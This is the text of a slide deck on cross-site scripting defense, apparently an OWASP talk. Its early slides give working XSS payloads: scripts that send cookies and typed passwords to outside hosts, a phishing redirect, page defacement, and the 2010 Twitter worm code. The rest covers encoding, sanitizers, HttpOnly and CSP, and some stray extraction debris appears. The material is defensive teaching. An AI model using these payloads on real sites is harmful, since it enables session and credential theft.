XSS Defense
A little background dirt…

jim@manicode.com

@manicode

- Project manager of the OWASP Cheat Sheet Series and several other OWASP projects
- OWASP Global Board
- 20+ years of software development experience
- Kauai, Hawaii Resident
What is XSS?
Consider the following URL…

www.example.com/saveComment?comment=Great+Site!

<h3> Thank you for you comments! </h3>
You wrote:
<p>
Great Site! Input from request data!
</p>

How can an attacker misuse this?
Persistent/Stored XSS Code Sample

<%
int id = Integer.parseInt(request.getParameter("id"));
String query = "select * from forum where id=" + id;
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(query);
if (rs != null) {
    rs.next();
    String comment = rs.getString("comment");
%>
User Comment : <%= comment %>
<%}
%>
XSS Attack: Redirect

<script>window.location='http://bankofamerika.us'</script>

Redirect to potential Phishing site!
XSS Attack: Cookie Theft

```html
<script>
var badURL = 'https://evileviljim.com/some site?data=' + document.cookie;
var img = new Image();
img.src = badURL;
</script>

HTTPOnly could prevent this!
Cookie Options and Security

Set-Cookie: NAME=VALUE; expires=EXPIRES;
path=PATH; domain=DOMAIN;
secure; 

HttpOnly

HTTPOnly is a security flag option for the Set-Cookie HTTP response header. HTTPOnly limits the ability of JavaScript and other client side scripts to access cookie data. USE THIS FOR SESSION IDS!
XSS Attack: Virtual Site Defacement

```html
<script>
var badteam = "Any Texas Team";
var awesometeam = "Anyone else";
var data = "";
for (var i = 0; i < 50; i++) {
  data += "<marquee><blink>");
  for (var y = 0; y < 8; y++) {
    if (Math.random() > .6) {
      data += "The ";
      data += badteam ;
      data += " are cheaters! ";
    } else {
      data += "The ";
      data += awesometeam;
      data += " are awesome!";
    }
  }
}
data += "</blink></marquee>");
document.body.innerHTML=(data + "");
</script>
```
XSS Attack: Password Theft/Stored Phishing

```javascript
function stealThePassword() {
    var data = document.getElementById("password").value;
    var img = new Image();
    img.src = "http://manico.net/webgoat?pass=" + data;
    alert("Login Successful!");
}

document.body.innerHTML='"<style> ...LOTS of CSS... </style>
<div id="container">
<form name="xssattacktest" action="https://someimportantsite.com/login" method="POST"><label for="username">Username:</label><input type="text" id="username" name="username"><label for="password">Password:</label><input type="password" id="password" name="password"><div id="lower"><input type="submit" value="Login" onclick="stealThePassword();"></div>
</form>
</div>";
</script>
```
XSS Undermining CSRF Defense (Twitter 2010)

```javascript
var content = document.documentElement.innerHTML;
authreg = new RegExp(/twtr.form_authenticity_token = '(.*);'/g);
var authtoken = authreg.exec(content); authtoken = authtoken[1];
//alert(authtoken);

var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a ');

var ajaxConn = new XHConn(); ajaxConn.connect("/status/update","POST", "authenticity_token=" + authtoken+"&status=" + updateEncode + 
"&tab=home&update=update");

var ajaxConn1 = new XHConn();
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+ authtoken+"&user[url]="+xss+"&tab=home&update=update");
```
# XSS Attack Payload Types

<table>
<thead>
<tr>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Session hijacking</td>
<td></td>
</tr>
<tr>
<td>Site defacement</td>
<td></td>
</tr>
<tr>
<td>Network scanning</td>
<td></td>
</tr>
<tr>
<td>Undermining CSRF defenses</td>
<td></td>
</tr>
<tr>
<td>Site redirection/phishing</td>
<td></td>
</tr>
<tr>
<td>Data theft</td>
<td></td>
</tr>
<tr>
<td>Keystroke logging</td>
<td></td>
</tr>
<tr>
<td>Loading of remotely hosted scripts</td>
<td></td>
</tr>
</tbody>
</table>
XSS Defense
XSS Defense: The Solution?

Depends on the type of user input
- HTML, Strings, Uploaded Files

Depends on where user input is displayed in an HTML document
- HTML Body
- HTML Attribute
- JavaScript Variable Assignment

Several defensive techniques needed depending on context
- Input Validation (raw HTML input)
- **Output Encoding (Strings)**
- Sandboxing (3rd party JavaScript like ads)

Additional Defenses
- HTTPOnly Cookies
- X-XSS-Protection Response Header
- Content Security Policy
Other Encoding Libraries

Ruby on Rails
http://api.rubyonrails.org/classes/ERB/Util.html

PHP
http://twig.sensiolabs.org/doc/filters/escape.html

Java (Updated February 2014)
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

.NET AntiXSS Library (v4.3 NuGet released June 2, 2014)
http://www.nuget.org/packages/AntiXss/

Python
Jinja2 Framework has built it and standalone escaping capabilities
"MarkupSafe" library
&lt;
Best Practice: Validate and Encode

String email = request.getParameter("email");
out.println("Your email address is: " + email);

String email = request.getParameter("email");
String expression =
   "^\w+((-\w+)|(\./\w+))*@[A-Za-z0-9]+((-\.|-_)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$";

Pattern pattern = Pattern.compile(expression,Pattern.CASE_INSENSITIVE);
Matcher matcher = pattern.matcher(email);
if (matcher.matches())
{
   out.println("Your email address is: " + Encoder.HtmlEncode(email));
}
else
{
   //log & throw a specific validation exception and fail safely
}
XSS Contexts
XSS Defense by Context

<table>
<thead>
<tr>
<th>Context</th>
<th>Encoding</th>
<th>OWASP Java Encoder</th>
<th>.NET AntiXSS</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTML Body</td>
<td>HTML Entity Encode</td>
<td>Encode.forHtmlContent</td>
<td>Encoder.HtmlEncode</td>
</tr>
<tr>
<td>HTML Attribute</td>
<td>HTML Entity Encode</td>
<td>Encode.forHtmlAttribute</td>
<td>Encoder.HtmlAttributeEncode</td>
</tr>
<tr>
<td>CSS Value</td>
<td>CSS Hex Encode</td>
<td>Encode.forCssString Encode.forCssUrl</td>
<td>Encoder.CssEncode</td>
</tr>
<tr>
<td>URL Fragment</td>
<td>UR Encode</td>
<td>Encode.forUriComponent</td>
<td>Encoder.UrlEncode</td>
</tr>
</tbody>
</table>
Microsoft Encoder and AntiXSS Library

Microsoft Web Protection Library

Source Code

AntiXSS.cs

```csharp
// Copyright (c) 2008, 2009, 2010 All Rights Reserved, Microsoft Corporation
//
// This source is subject to the Microsoft Permissive License.
// Please see the License.txt file for more information.
// All other rights reserved.
//
// THIS CODE AND INFORMATION ARE PROVIDED "AS IS" WITHOUT WARRANTY OF ANY
// KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
// PARTICULAR PURPOSE.
//
// <copyright file="AntiXSS.cs" company="Microsoft Corporation">
// Copyright (c) 2008, 2009, 2010 All Rights Reserved, Microsoft Corporation
//
// This source is subject to the Microsoft Permissive License.
// Please see the License.txt file for more information.
// All other rights reserved.
//
// THIS CODE AND INFORMATION ARE PROVIDED "AS IS" WITHOUT WARRANTY OF ANY
// KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
// PARTICULAR PURPOSE.
//
// </copyright>
// <summary>
// Performs encoding of input strings to provide protection against
```
Microsoft Encoder and AntiXSS Library


For use in your **User Interface Code** to defuse script in output

```csharp
public static string HtmlEncode(string input)
public static string HtmlAttributeEncode(string input)
public static string UrlEncode(string input)
public static string XmlEncode(string input)
public static string XmlAttributeEncode(string input)
public static string JavaScriptEncode(string input)
public static string VisualBasicScriptEncode(string input)
```
OWASP Java Encoder Project

https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

HTML Contexts
Encode#forHtml(String)
Encode#forHtmlContent(String)
Encode#forHtmlAttribute(String)
Encode#forHtmlUnquotedAttribute(String)

CSS Contexts
Encode#forCssString(String)
Encode#forCssUrl(String)

JavaScript Contexts
Encode#forJavaScript(String)
Encode#forJavaScriptAttribute(String)
Encode#forJavaScriptBlock(String)
Encode#forJavaScriptSource(String)

XML Contexts
Encode#forXml(String)
Encode#forXmlContent(String)
Encode#forXmlAttribute(String)
Encode#forXmlComment(String)
Encode#forCDATA(String)

URI/URL contexts
Encode#forUriComponent(String)
Escaping Context Examples
HTML Body Escaping Examples

**OWASP Java Encoder**

```html
<div><%=
    Encode.forHtml('UNTRUSTED')
%></div>

<h1><%=
    Encode.forHtml('UNTRUSTED')
%></h1>
```

**AntiXSS.NET**

```csharp
Encoder.HtmlEncode('UNTRUSTED')
```
HTML Attribute Escaping Examples

**OWASP Java Encoder**

```html
<input type="text" name="data"
value="<%= Encode.forHtmlAttribute(UNTRUSTED) %>>" />

<input type="text" name="data"
value=<%= Encode.forHtmlUnquotedAttribute(UNTRUSTED) %>> />
```

**AntiXSS.NET**

```csharp
Encoder.HtmlAttributeEncode(UNTRUSTED)
```
URL Fragment Escaping Examples

OWASP Java Encoder

```java
<%-- Encode URL parameter values --%>
<a href="/search?value=
<%.Encode.forUriComponent(parameterValue)%>&order=1#top">

<%-- Encode REST URL parameters --%>
<a href="http://www.manicode.com/page/
<%Encode.forUriComponent(restUrlParameter)%>">

AntiXSS.NET

```{.java}
Encoder.UrlEncode(untrustedUrlFragment)
```
XSS in JavaScript Context

http://example.com/viewPage?name=Jerry

```html
<script>
    //create variable for name input
    var name = "Jerry";
</script>
```

What attacks would be possible?

Sample Attack

```html
";document.body.innerHTML='allyourbase';//
```

Leads To

```html
var name="";document.body.innerHTML='allyourbase';//"
```
JavaScript Escaping Examples

OWASP Java Encoder

```html
<button onclick="alert("<%= Encoder.forJavaScript(alertMsg) %>'");">click me</button>

<button onclick="alert("<%= Encoder.forJavaScriptAttribute(alertMsg) %>'");">click me</button>

<script type="text/javascript">
var msg = "<%= Encoder.forJavaScriptBlock(alertMsg) %>";
alert(msg);
</script>
```

AntiXSS.NET

```javascript
Encoder.JavaScriptEncode(alertMsg)
```
CSS Encoding Examples

**OWASP Java Encoder**

```html
<div style="background: url('<%=Encode.forCssUrl(value)%>');">
<br style="text/css">

background-color:'<%=Encode.forCssString(value)%>';
</style>
```

**AntiXSS.NET**

`Encoder.CssEncode(value)`
Java XSS Defense Examples

<html>
<body>

<style>
bgcolor: <%= Encode.forCssString( userColor ) %>; 
</style>

Hello, <%= Encode.forHtml( userName ) %>!

<script>
var userName = '<%= Encode.forJavaScriptBlock( userName ) %>';
alert("Hello " + userName);
</script>

<div name='<%= Encode.forHtmlAttribute( userName ) %>'>
<a href="/mysite.com/editUser.do?userName=<%= Encode.forUriComponent( userName ) %>">Please click me!</a>
</div>

</body>
</html>
ADDITIONAL XSS DEFENSES
This example displays all plugins and buttons that come with the TinyMCE package.

Welcome to the TinyMCE editor demo!

Feel free to try out the different features that are provided, please note that the MCI mageManager and MCFFileManager specific functionality is part of our commercial offering. The demo is to show the integration.

We really recommend a href="http://www.getfirefox.com" target="_blank"Firefox as the primary browser for the best editing experience, but of course, TinyMCE is a href="../wiki.php/Browser_compatibility" compatible with all major browsers.

Got questions or need help?

If you have questions or need help, feel free to visit our a href="../forum/index.php"community forum! We also offer Enterprise a href="../enterprise/support.php" support solutions. Also do not miss out on the a href="../wiki.php/documentation", its a great resource wiki for understanding how TinyMCE works and integrates.

Found a bug?

If you think you have found a bug, you can use the a href="../develop/bugtracker.php"Tracker to report bugs to the developers.

And here is a simple table for you to play with:
### OWASP HTML Sanitizer Project

[https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project](https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project)

HTML Sanitizer is written in Java which lets you include HTML authored by third-parties in your web application while protecting against XSS.

This code was written with security best practices in mind, has an extensive test suite, and has undergone adversarial security review.


Very easy to use.

It allows for simple programmatic POSITIVE policy configuration. No XML config.

Actively maintained by Mike Samuel from Google's AppSec team!

This is code from the Caja project that was donated by Google. It is rather high performance and low memory utilization.
OWASP HTML Sanitizer In Action

The Problem
Web page is vulnerable to XSS because of untrusted HTML.

The Solution

```java
PolicyFactory policy = new HtmlPolicyBuilderFactory()
    .allowElements("p")
    .allowElements(
        new ElementPolicy() {
            public String apply(String elementName, List<String> attrs) {
                attrs.add("class");
                attrs.add("header-" + elementName);
                return "div";
            }
        }, "h1", "h2", "h3", "h4", "h5", "h6")
    .build();
String safeHTML = policy.sanitize(untrustedHTML);
```
## HTML Sanitizers by Language

<table>
<thead>
<tr>
<th>Language</th>
<th>Tools</th>
</tr>
</thead>
</table>
| **Pure JavaScript (client side)** | http://code.google.com/p/google-caja/wiki/JsHtmlSanitizer  
https://code.google.com/p/google-caja/source/browse/trunk/src/com/google/caja/plugin/html-sanitizer.js  
https://github.com/cure53/DOMPurify |
| **Python**     | https://pypi.python.org/pypi/bleach                                  |
| **PHP**        | http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/ |
| **.NET**       | http://www.nuget.org/packages/AntiXss/ (encoding)  
https://github.com/mganss/HtmlSanitizer (HTML Sanitization) |
| **Ruby on Rails** | https://rubygems.org/gems/loofah  
http://api.rubyonrails.org/classes/HTML.html |
| **Java**       | https://www.owasp.org/index.php OWASP_Java_HTML_Sanitizer_Project    |
Use DOMPurify to Sanitize Untrusted HTML

- [https://github.com/cure53/DOMPurify](https://github.com/cure53/DOMPurify)

- DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG.
- DOMPurify works with a secure default, but offers a lot of configurability and hooks.
- Very simply to use
- Demo: [https://cure53.de/purify](https://cure53.de/purify)

```
<div>{DOMPurify.sanitize(myString)}</div>
```
DOM XSS
Some safe JavaScript sinks

Setting a Value
- elem.textContent = "danger";
- elem.className = "danger";
- elem.setAttribute(safeName, "danger");
- formfield.value = "danger";
- document.createTextNode("danger");
- document.createElement("danger");

Safe JSON Parsing
- JSON.parse() (rather than eval())
The example below uses a secure example of using XMLHttpRequest to query https://example.com/items.json and uses JSON.parse to process the JSON that has successfully returned.

```html
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://example.com/item.json");
xhr.onreadystatechange = function() {
    if (xhr.readyState === 4) {
        if (xhr.status === 200) {
            var response = JSON.parse(xhr.responseText);
        } else {
            var response = "Error Occurred";
        }
    }
}
oReq.send();
</script>
```
JavaScript Sandboxing (ECMAScript 5)

- `Object.seal(obj)`
- `Object.isSealed(obj)`
- Sealing an object prevents other code from deleting, or changing the descriptors of, any of the object's properties

iFrame Sandboxing (HTML5)

- `<iframe src="demo_iframe_sandbox.jsp" sandbox="""></iframe>`
- Allow-same-origin, allow-top-navigation, allow-forms, allow-scripts
Best Practice  X-XSS Protection

Use the browser’s built in XSS Auditor

- X-XSS-Protection: [0-1] (mode=block)
- X-XSS-Protection: 1; mode=block

INTERNET EXPLORER
The number one browser for downloading a better browser
# GO Template Contexts

\{\text{.}\} = \text{O'Reilly: How are <i>you</i>?}

<table>
<thead>
<tr>
<th>Context</th>
<th>{\text{.}} After Modification</th>
</tr>
</thead>
<tbody>
<tr>
<td>{\text{.}}</td>
<td>\text{O'Reilly: How are &amp;lt;i&amp;gt;you&amp;lt;/i&amp;gt;?}</td>
</tr>
<tr>
<td>\text{&lt;a title='\{\text{.}\}'&gt;}</td>
<td>\text{O'Reilly: How are &amp;quot;you&amp;quot;}</td>
</tr>
<tr>
<td>\text{&lt;a href=&quot;/{\text{.}}'&gt;}</td>
<td>\text{O'Reilly: How are %3ci%3eyou%3c/i%3e?}</td>
</tr>
<tr>
<td>\text{&lt;a href='\?q=\{\text{.}\}'&gt;}</td>
<td>\text{O'Reilly%3a%20How%20are%3ci%3e...%3f}</td>
</tr>
<tr>
<td>\text{&lt;a onx='f(&quot;{\text{.}}&quot;)'}</td>
<td>\text{O'Reilly: How are \x3ci\x3eyou...?}</td>
</tr>
<tr>
<td>\text{&lt;a onx='f({\text{.}}')}</td>
<td>&quot;O'Reilly: How are \x3ci\x3eyou...?&quot;</td>
</tr>
<tr>
<td>\text{&lt;a onx='pattern = /{\text{.}}/;'}}</td>
<td>\text{O'Reilly: How are \x3ci\x3eyou...\x3f}</td>
</tr>
</tbody>
</table>
AngularJS 1.x
Automatic Escaping in Practice

<div ng-bind="snippet">

1) Automatically stops XSS
2) All context via **ng-bind** will be contextually escaped based on location.
3) HTML markup or JS will NOT RENDER but will be displayed in a form where it is not executed. Safe!
Angular JS 1.x
Automatic Escaping in Practice

<div ng-bind-html="snippet">

1) Automatically stops XSS
2) All context via ng-bind-html will be sanitized based on built in angular HTML sanitizer.
3) HTML WILL RENDER but only safe HTML will render.
4) It is not easy (you must fork Angular) to modify the base HTML sanitization policy
Content Security Policy (CSP)

- Anti-XSS W3C standard
- CSP 2.0 WSC Recomendation December 2016  
  https://www.w3.org/TR/CSP2/
- Add the Content-Security-Policy response header to instruct the browser that CSP is in use.
- There are two major features that will enable CSP to help stop XSS.
  - Must move all inline script into external files and then enable `script-src="self"` or similar
  - Must use the script `nonce` or `hash` feature to provide integrity for inline scripts
This is a realistic CSP policy

default-src 'self';
img-src https://mycompany.mycdn.com;
object-src 'none';
script-src https://mycompany.mycdn.com;
style-src https://mycompany.mycdn.com

XSS eliminated √
Flash disabled √
Mixed content disallowed √
Third party content not allowed √
This is a crazy policy

ccontent-security-policy-report-only:script-src 'self' 'unsafe-inline' 'unsafe-eval' https://talkgadget.google.com/
https://content.googleapis.com/static/ https://mail-attachment.googleusercontent.com/
https://*.googleusercontent.com/docs/securesc/ https://feedback.googleusercontent.com/resources/
https://www.youtube.com/embed/ https://clients5.google.com/pagead/drt/dn/
https://clients5.google.com/ads/measurement/jn/ https://www.gstatic.com/mail/ww/
https://clients5.google.com/webstore/wall/;object-src https://mail-attachment.googleusercontent.com/swfs/ https://mail-attachment.googleusercontent.com/attachment/;report-uri /mail/cspreport
CSP 2 Nonces

Content-Security-Policy : script-src 'nonce-abc123'

<script nonce="abc123">
    alert("Hey I can run!")
</script>

<script>
    alert("this will never happen!")
</script>
It’s been a pleasure.

jim@manicode.com